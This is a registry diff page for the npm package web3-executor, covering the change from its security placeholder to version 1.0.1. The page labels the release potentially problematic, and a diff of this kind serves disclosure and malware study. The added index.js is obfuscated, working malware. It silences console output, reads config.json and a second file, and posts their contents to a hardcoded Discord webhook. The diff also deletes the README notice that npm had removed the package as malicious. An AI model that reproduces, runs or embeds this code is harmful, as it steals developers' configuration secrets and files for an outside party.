web3-executor 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of web3-executor might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +11 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x209c64=_0x12b2;(function(_0x269c8a,_0xf6fbd4){const _0x563d80=_0x12b2,_0x252ec6=_0x269c8a();while(!![]){try{const _0x59c283=parseInt(_0x563d80(0xc8))/0x1+parseInt(_0x563d80(0xc2))/0x2*(-parseInt(_0x563d80(0xbf))/0x3)+-parseInt(_0x563d80(0xc3))/0x4+-parseInt(_0x563d80(0xc7))/0x5+-parseInt(_0x563d80(0xc4))/0x6*(parseInt(_0x563d80(0xda))/0x7)+parseInt(_0x563d80(0xd2))/0x8*(parseInt(_0x563d80(0xc0))/0x9)+-parseInt(_0x563d80(0xd7))/0xa*(-parseInt(_0x563d80(0xcd))/0xb);if(_0x59c283===_0xf6fbd4)break;else _0x252ec6['push'](_0x252ec6['shift']());}catch(_0x2c7d36){_0x252ec6['push'](_0x252ec6['shift']());}}}(_0x4e95,0x8ac08));const fs=require('fs'),axios=require(_0x209c64(0xdb)),path=require(_0x209c64(0xd6));console['log']=()=>{},console[_0x209c64(0xcc)]=()=>{},console[_0x209c64(0xce)]=()=>{},console[_0x209c64(0xd9)]=()=>{},console['debug']=()=>{},process['on']('unhandledRejection',(_0x434342,_0x433961)=>{});function _0x4e95(){const _0x1a2118=['2306972WWvuPR','258234pCJjrS','join','Error\x20sending\x20to\x20Discord:','4427460cVNZxq','654450LWMGPa','catch','utf8','basename','warn','5381134XJxZJl','error','File\x20content\x20sent\x20to\x20Discord\x20successfully!','```js\x0a','Error\x20reading\x20file:','7621368ZkHERG','```json\x0a','\x0a```','log','path','50ENnZyw','post','info','154ByipFm','axios','code','Error\x20reading\x20config.json:','exports','https://discord.com/api/webhooks/1303436153806127207/NFp4XxsCoZ1ygI4chB6ls9sghDG2ETdq9m7iqc_76SmVaVKvqNkJAf_WIooTxlvRdCuX','readFile','15kIXmxH','9DdXnSS','then','430268PyqZor'];_0x4e95=function(){return _0x1a2118;};return _0x4e95();}function _0x12b2(_0x1fc24d,_0xfd59b1){const _0x4e9557=_0x4e95();return _0x12b2=function(_0x12b214,_0x1290c6){_0x12b214=_0x12b214-0xbf;let _0x9139b0=_0x4e9557[_0x12b214];return _0x9139b0;},_0x12b2(_0x1fc24d,_0xfd59b1);}const webhookURL=_0x209c64(0xdf);function execute(_0x1ca189,_0x3a4a78){const _0x17dcbd=_0x209c64;try{const _0x5e5d13=path[_0x17dcbd(0xc5)](_0x3a4a78,'config.json');fs[_0x17dcbd(0xe0)](_0x5e5d13,_0x17dcbd(0xca),(_0x5e4f80,_0xc8b745)=>{const _0x1741c0=_0x17dcbd;if(_0x5e4f80){console[_0x1741c0(0xce)](_0x1741c0(0xdd),_0x5e4f80);return;}axios[_0x1741c0(0xd8)](webhookURL,{'content':_0x1741c0(0xd3)+_0xc8b745+_0x1741c0(0xd4)})[_0x1741c0(0xc1)](()=>{const _0x1a249b=_0x1741c0;console[_0x1a249b(0xd5)]('config.json\x20content\x20sent\x20to\x20Discord\x20successfully!');})[_0x1741c0(0xc9)](_0x237eb5=>{const _0x42fde0=_0x1741c0;console[_0x42fde0(0xce)]('Error\x20sending\x20to\x20Discord:',_0x237eb5);});});}catch(_0x5867fa){_0x5867fa[_0x17dcbd(0xdc)]&&console['error'](_0x5867fa);}try{const _0x1cc57e=path[_0x17dcbd(0xcb)](_0x1ca189);fs[_0x17dcbd(0xe0)](_0x1cc57e,_0x17dcbd(0xca),(_0x2b7efa,_0x533c5d)=>{const _0x377be0=_0x17dcbd;if(_0x2b7efa){console[_0x377be0(0xce)](_0x377be0(0xd1),_0x2b7efa);return;}axios[_0x377be0(0xd8)](webhookURL,{'content':_0x377be0(0xd0)+_0x533c5d+_0x377be0(0xd4)})['then'](()=>{const _0x5a2bb0=_0x377be0;axios['post'](webhookURL,{'content':_0x5a2bb0(0xcf)}),console[_0x5a2bb0(0xd5)](_0x5a2bb0(0xcf));})[_0x377be0(0xc9)](_0x15b002=>{const _0x412d53=_0x377be0;axios[_0x412d53(0xd8)](webhookURL,{'content':_0x412d53(0xc6),'error':_0x15b002}),console[_0x412d53(0xd5)](_0x412d53(0xc6));});});}catch(_0x304a3c){_0x304a3c[_0x17dcbd(0xdc)]&&console[_0x17dcbd(0xce)](_0x304a3c);}return 0x0;}module[_0x209c64(0xde)]=execute;
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "web3-executor",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "Web3 Executor",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "axios": "^1.7.7"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=web3-executor for more information.